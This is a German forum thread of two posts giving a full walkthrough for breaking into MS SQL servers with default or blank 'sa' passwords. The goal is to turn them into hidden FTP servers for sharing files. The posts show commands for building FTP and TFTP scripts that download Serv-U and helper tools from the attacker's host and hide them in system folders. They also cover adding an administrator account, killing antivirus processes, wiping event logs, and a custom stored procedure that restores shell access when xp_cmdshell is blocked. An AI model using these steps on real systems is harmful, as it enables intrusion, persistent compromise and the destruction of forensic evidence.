MsSQL Hacking

Dieses Thema im Forum "Security Tutorials" wurde erstellt von Morphi1985, 21. Dezember 2004 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 21. Dezember 2004
    TUT ist NICHT von mir!!!

    Folgendes wird Benötigt:

    1.) MsSQL Scannz z.B ( Found MSSQL Account 123.234.456.456 sa/[Null] )
    2.) Configurierte Serv-U.ini
    3.) Serv-U.exe
    4.) Einen HomeFTP oder nen Str0 bzw. Pub zum Upload der Serv-U Filez
    5.) SQLExec.exe ( Am besten Die mit dem Apfel Icon )
    6.) Zeit...


    So wirds Gemacht...


    1.) SQLExec Starten!

    2.) Bei Host schreibt Ihr die IP vom SQL Scan rein,
    In User kommt in FAST Jeden Fall Sa rein und
    In Pass schreibt Ihr Das Passwort vom SQL Scan rein Bei [Null] einfach Freilassen!

    3.) Guckt Immer Erst Wieviel Space Auf dem Server noch Vorhanden ist
    Das macht ihr so: DIR c:\ Zeigt an Wieviel Auf Pladde c: noch Frei ist!
    Dann könnt Ihr noch Gucken z.B DIR d:\ , DIR e:\ usw.

    4.) Denn müsst Ihr ein GET Script erstellen Um Die Serv-U Filez von Euren HomeFTP,Str0 oder Pub
    auf den Server zu holen ,das macht Ihr wie Folgt:


    ECHO OPEN [IP von HomeFTP,Str0,oder Pub] [Port]>>FTP.txt .. Bedeutet Das er eine Verbindung Zum HomeFTP Öffnet
    ECHO [Username des HomeFTP Accounts]>>FTP.txt .. Bedeutet Das ihr den Usernamen Des HomeFTP Accounts Angibt
    ECHO BINARY>>sql.txt .. Bedeutet Das ihr das Passwort Des HomeFTP Accounts Angibt
    ECHO lcd c:\WINNT\System32>>FTP.txt .. Bedeutet Das Er Die Filez Die ihr Hochladet Ins SYStemroot Ladet
    ECHO GET Serv-U.exe>>FTP.txt .. Bedeutet Das er Die Serv-U.exe holen soll
    ECHO GET Serv-U.ini>>FTP.txt .. Bedeutet Das er Die Serv-u.ini holen soll
    ECHO Quit>>FTP.txt .. Bedeutet Das Er von Eurem FTP Disconectet Wen er Die filez hat


    Beißpiel Euer Home Hat die IP 111.222.333.444 , den Port 21 , den Usernamen Test und das pw Test


    Echo Open 111.222.333.444 21>>FTP.txt
    Echo Test>>FTP.txt
    Echo Test>>FTP.txt
    Echo Binary>>FTP.txt
    Echo Lcd c:\winnt\System32>>FTP.txt
    Echo GET Serv-U.exe>>FTP.txt
    Echo GET Serv-U.ini>>FTP.txt
    Echo Quit>>FTP.txt


    5.) So Dann Habt Ihr das GET Script schonmal Fertig,um nun Die Filez zu
    Holen gibt ein: FTP.exe -s:FTP.txt Dann schmiert SQLExec ab Aber NICHT schließen
    sondern Warten bis Das Prog wieder Reagiert..

    6.) Wenns Dann wieder Reagiert Löscht Ihr Als aller Erstes mal Das GET Script
    Ansonsten Hinterlasst Ihr eure Ip ,Das macht Ihr so: DEL FTP.txt Soweit sogut!

    7.) Ihr Tragt Serv-U als Service ein Damit euer Server auch nach Reboot Besteht!
    Das macht ihr so: c:\Winnt\system32\Serv-U.exe /i
    Wenn der Server Statt Winnt Windows hat, denn c:\windows\system32...

    8.) Das Starten Der Serv-U.exe .. Das geht so: NET Start Serv-u
    Wenn es Nicht Geht Probiert mal Zuerst NET STOP Serv-u und danach Wieder Start



    So nun Ist der Server Fertig und Ihr könnt mit Eurem
    FTP-Programm Drauf Conecten und Fillen Lassen großes Grinsen
    Am besten wäre es noch wenn Ihr den Server Securen Würdet aber
    Das ist wieder eine Andere Sache
     
  2. 9. Januar 2005
    Also das M$SQL tut was ich vorher gelesen habe war etwas kurz hab hier ein besseres gefunden hf
    ServuZ großes Grinsen

    SQL HACKEN

    Methoden:

    1.) Echo Methode
    2.) tftp Methode
    3.) ntpass Methode
    4.) Terminal Service Methode

    benötigte tools:

    1.) Sqlexec oder Sqlexec2
    2.) serv-u
    3.) ftp Client
    4.) mstsc (Terminal Service)
    5.) Clearlogs
    6.) kill
    7.) Fport
    8.) Sqlbrower.exe (optional)
    9.) Osql (optional)


    Für alle Methoden gilt:

    - Sql scanz (am besten mit scan500.exe nach port 1443 scannen & danach mit Sqlck.exe bruten).
    - Geduld.


    ECHO METHODE:

    Für die Echo Methode benötigen wir nen Pub oder Stro und nen Sql scan. Wir nehmen mal an wir haben nen pub mit der IP 0.0.0.0. Sql scan ist 127.0.0.1 sa | sa (sa | sa bedeutet: Name = sa pw= sa).

    Wir connecten auf unseren pub mit ultrafxp oder flashfxp (only Version 1.*). Jetzt uppen wir ins root folgende files:

    serv-u.exe + serv-u.ini
    clearlogs.exe
    kill.exe
    Fport.exe

    Sobald die files oben sind starten wir Sqlexec. Geben IP des sql Servers, Name + PW ein. Also IP 127.0.0.1 Name: sa PW: sa. Danach klicken wir auf Connect. O.K. wir sind jetzt connected. Unten bei Sqlexec steht cmd oder Dos Command. Daneben kann man was hinschreiben. Meistens steht da schon dir c:\. Wir gehen hinter dir c:\ und klicken auf Enter. Jetzt sollten wir die HDD c: sehen. Jetzt Schreiben wir mal ein Script. und zwar hintereinander bei Sqlexec eingeben unter enter klicken.

    echo open 0.0.0.0>>c:\ftpscr.txt (IP des pubs müsst ihr anpassen. in meinem Fall halt 0.0.0.0. Bei Stros müsst ihr noch port eintragen. z.B. 0.0.0.0 616cool
    echo anonymous>>c:\ftpscr.txt (Wenn ihr nen Stro habt müss ihr anstatt anonymous euren usernamen eintragen.)
    echo anonymous@lol.com>>c:\ftpscr.txt (Beim Stro anstatt email das Passwort.)
    echo BINARY>>c:\ftpscr.txt
    echo get serv-u.exe>>c:\ftpscr.txt (Ich hoffe eure serv-u hat nen anderen Namen.)
    echo get serv-u.ini>>c:\ftpscr.txt (hoffe die hat nen anderen Namen)
    echo get clearlogs.exe>>c:\ftpscr.txt
    echo get kill.exe>>c:\ftpscr.txt
    echo get Fport.exe>>c:\ftpscr.txt
    echo quit>>c:\ftpscr.txt

    So jetzt Script starten.

    ftp -n -v -s:c:\ftpscr.txt

    So jetzt müsst ihr paar Minuten warten. Man hat den Eindruck das Sqlexec abgekackt ist aber das ist nicht der Fall. Einfach warten.

    Wenn alles geuppt ist bekommt ihr ungefaehr diese Meldung:

    get serv-u.exe
    get serv-u.ini
    get clearlogs.exe
    get kill.exe
    get Fport.exe

    usw.

    O.K. alle files sind jetzt auf dem Sql Server. jetzt müssen wir diese verschieben. (gut verstecken). Wir nehmen mal wir wollen die nach c:\Winnt\system32\spool\drivers\w32x86\ verschieben. Dann geben wir bei Sqlexec folgendes ein:

    move serv-u.exe c:\Winnt\system32\spool\drivers\w32x86\
    move serv-u.ini c:\Winnt\system32\spool\drivers\w32x86\
    move clearlogs.exe c:\Winnt\system32\spool\drivers\w32x86\
    move kill.exe c:\Winnt\system32\spool\drivers\w32x86\
    move Fport.exe c:\Winnt\system32\spool\drivers\w32x86\

    So jetzt solltn alle files im Ordner w32x86 sein. Das überprüfen wir mal kurz. Bei Sqlexec folgendes eingeben:

    dir c:\Winnt\system32\spool\drivers\w32x86\

    gut wir gehen davon aus das alle Files da sind. Jetzt müssen wir die serv-u starten. Am besten als Dienst. Sqlexec folgendes eingeben:

    c:\Winnt\system32\spool\drivers\w32x86\serv-u.exe /i
    net start "serv-u ftp Server"

    Eigentlich sollte jetzt serv-u laufen und euer Stro ist fertig. Einfach mal mit Flashfxp connecten. Falls nicht hat der Server ne AV oder Firewall. In diesem Fall starten wir mal FPort. Sqlexec mal wieder:

    c:\Winnt\system32\spool\drivers\w32x86\FPort

    Jetzt kommt ne grosse Liste mit Portnummern und Namen. Wenn da z.B. Norton Antivirus laeuft und die nr. 4444 hat müssen wir diese killen. Dazu geben wir bei Sqlexec folgendes ein:

    c:\Winnt\system32\spool\drivers\w32x86\kill 4444

    Jetzt nochmal serv-u starten. Das wars. Jetzt sollte euer Stro fertig sein.

    Als letztes löschen wir die log files mit clearlogs. Sqlexec folgendes eingeben:

    clearlogs -sys
    clearlogs -app
    clearlogs -sec

    Jetzt sind die log files weg.


    TFTP METHODE:

    Diese Mthode ist sehr easy aber auch gefaehrlich. also wir legen mal los.

    Packt mal folgende files bei euch in c:\

    serv-u.exe + serv-u.ini
    clearlogs.exe
    kill.exe
    Fport.exe

    Jetzt Sqlexec starten und wieder auf den Sql Server connecten. Jetzt geben wir folgendes ein:

    tftp.exe Deine IP get serv-u.exe c:serv-u.exe
    tftp.exe Deine IP get serv-u.ini c:serv-u.ini
    tftp.exe Deine IP get kill.exe c:kill.exe
    tftp.exe Deine IP get FPort.exe c:FPort.exe
    tftp.exe Deine IP get clearlogs.exe c:clearlogs.exe

    Wenn alle files drauf sind moven wir mal alles wieder in c:\Winnt\system32\spool\drivers\w32x86\

    move serv-u.exe c:\Winnt\system32\spool\drivers\w32x86\
    move serv-u.ini c:\Winnt\system32\spool\drivers\w32x86\
    move clearlogs.exe c:\Winnt\system32\spool\drivers\w32x86\
    move kill.exe c:\Winnt\system32\spool\drivers\w32x86\
    move Fport.exe c:\Winnt\system32\spool\drivers\w32x86\

    Rest ist wie bei der Echo Methode. Wie ihr sehen könnt müsst ihr bei der Tftp Methode eure IP eingeben da die files nicht auf nem pub liegen. Aufgrunddessen diese Methode vermeiden und falls ihr diese Methode benutzt niemals vergessen die logs zu löschen!!


    NTPASS METHODE:

    O.K. sehr easy und sehr gut ist diese Methode. Also wir haben nen sql scan. Sqlexec starten und connecten.
    Jetzt folgendes eingeben:

    net user Name Passwort /ad <----Name & PW könnt ihr waehlen was ihr wollt.
    net localgroup Administrators Name /ad <----Name mit eurem Namen ersetzen. Administrators könnte auf einigen servern anders heissen. Einfach mal nachgucken welchen Namen die Gruppe Administrators hat.

    Danach gehen wir bei uns auf dem PC auf start - ausführen und geben folgendes ein:

    \\IP des Sql Servers (z.B. \\127.0.0.1)

    Jetzt werden wir nach nem Namen gefragt. Gibt mal den Namen ein den ihr oben eingetragen habt. Und danach Passwort den ihr oben eingetragen habt. Jetzt seit ihr auf dem Server drauf. Einfach eure files per drag & drop irgendwo hin machen. Rest erklaert sich von selbst (Ihr seit admin also könnt ihr alles machen.) Falls das nicht geht machen wir es mit PSexec. Und zwar wie folgt:

    Macht mal PSexec bei euch aufm PC in c:\

    Jetzt gehen wir auf start - ausführen - cmd eingeben und enter. Jetzt seht ihr eure MS-Dos Eingabeaufforderung.

    Jetzt folgendes eingeben:
    psexec \\IP -u Name (Name den ihr bei net user eingegeben habt.) cmd.exe [danach das pw eingeben bei der eingabe(bei blank password einfach enter eingeben)]
    wenn alles geklappt hat,"net share" eingeben.
    im internet explorer \\IP\Sharename$ eingeben [sharename kann man bei net share sehen]
    Alle files von euch kopieren (serv-u.exe, serv-u.ini, kill.exe, clearlogs.exe, FPort.exe) kopieren und dann in dem Fenster auf einfügen klicken
    Wenn die serv-u oben ist, mit psexec in das verzeichnis wechseln und die serv-u beliebig verschieben.
    Serv-u.exe /i eingeben
    Net start "Serv-U FTP Server" eingeben.

    Rest ist wie immer.

    Falls dies auch nicht geht machen wir es ebend mit der:

    TERMINAL SERVICE METHODE:

    Wir gehen davon aus das wir admin sind. Also Name & PW haben wir mit Sqlexec eingeben. Siehe oben net user.....net localgroup......

    Jetzt starten mstsc.exe (TS client). und geben die IP des Sql Servers ein. Jetzt Name & PW welches wir eingegeben hatten. Jetzt sollten wir das desktop des Sql Servers sehen. Also wir sind sozusagen Remote admin.

    Jetzt nur eure files irgendwo gut verstecken. Leider geht bei TS die drag&drop Methode nicht. Aber es gibt viele wege....cmd.exe oder Internet Explorer usw.

    Mit dem Internet Explorer geht es wie folgt:

    Ihr uppt eure files auf einen axx. z.B. Lycos. Jetzt klickt ihr bei dem Sql Server auf den Internet Explorer gibt die URL ein und ladet euch die Files runter (Als würdet ihr normal was leechen.)

    Danach wieder serv-u als Dienst starten.....

    Achtung diese Methode geht nur wenn auf dem Server Terminal Service laeuft. Dies könnt ihr wie folgt überprüfen:

    Bei Sqlexec wenn ihr connected seit folgendes eingeben:

    net start

    Jetzt sieht ihr alle Dienste die laufen. Wenn da Terminal server steht sollte es gehen.

    Sowas geht natürlich auch mit VNC usw.


    SECUREN:

    also du musst folgendes machen,am besten in ner telnet shell,mit sqlexec oder so gibts probleme:
    osql -U sa -P "" -Q "sp_password Null,deinpass, sa"

    also -U sa ist der Benutzer , hier sa wie man sehen kann
    -P ist das passwort. "" für blank sonst einfach eintragen.

    wenn alles klappt kommt passwort changed, wenn du es mit sqlexec direkt machen willst, musst du die zeilen in eine batch schreiben oder es wird sql error kommen

    um upload via ftp/tftp zu verhindern einfach die dazugehörige exe umbenennen. xp_cmdshell umbenennen.

    usw.....


    PROBLEMBEHEBUNG, TIPPS usw.

    Fehlermeldung: xp_cmdshell failed (Sql error) oder so..

    Lösung: Eine eigene xp_cmdshell erstellen.

    O.K. hierfür brauchen wir den Sqlbrower.exe.

    Sqlbrower.exe starten. IP, Name & PW vom Sql Server eingeben.

    Rechts beim Sqlbrower steht SQL Server Command. Normal ist das ja xp_cmdshell dir c:\. Da dies nicht geht gehen wir auf:

    Custom xp_cmdshell, using shell object kopieren es und fügen es bei Sqlbrower beim commandfeld ein. Jetzt den namen für eure xp_cmdshell eingeben. Ihr könnt nehmen was ihr wollt. (z.B. xp_updatelol)

    Euer Command sollte wie folgt aussehen:

    CREATE PROCEDURE fn_makeUpdate(@cmd varchar(255), @Wait int = 0) AS
    --Create WScript.Shell object
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int

    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    --If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


    EXECUTE @OLEResult = sp_OADestroy @ShellID

    return @result

    Jetzt klicken wir auf connect. Wenn jetzt folgende Meldung kommt:

    bla bla did not return any results dann funzt es. Wenn folgendes erscheint:

    Create oder Execute Permisions bla bla dann ist dieser Server wirklich secured und ihr habt no chance.

    Falls nen Syntax Error kommt einfach Sqlbrower auf Vollbild machen. Ihr habt nen Zeilenumbruchfehler bei eurem Command.

    Wir gehen davon aus das es funzt. Jetzt wieder per ftp.exe oder tftp.exe eure files holen. z.B.

    tftp:
    xp_updatelol (Name eures xp_cmdhell) "tftp.exe -i <yourIP> get serv-u.exe"

    ftp:
    xp_updatelol "cmd.exe /c echo open <yourIP> <yourPort> >temp"...bla bla bla


    Fehlermeldung bei Sqlexec z.B.

    Ihr wollt eure serv-u als Dienst starten und es kommt ne Sql Error Fehlermeldung. Nagut lösen wir mal dieses Problem.

    Schreibt bei mal ne .txt mit folgendem Inhalt:

    Pfad\serv-u.exe /i (z.B. c:\winnt\system32\spool\drivers\w32x86\serv-u.exe /i)
    net start "Serv-u FTP Server"

    gut jetzt .txt speichern. Name ist egal. z.B. start.txt

    Jetzt benennen wir diese um in start.bat

    Danach uppen wir die start.bat auf den Sql Server. (per Echo oder tftp oder oder...)

    Jetzt führen wir diese aus.

    einfach bei Sqlexec folgendes eingeben:

    start.bat (falls ihr die verschoben habt mit Pfad davor.) Jetzt sollte keine Fehlermeldung kommen
     
  3. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.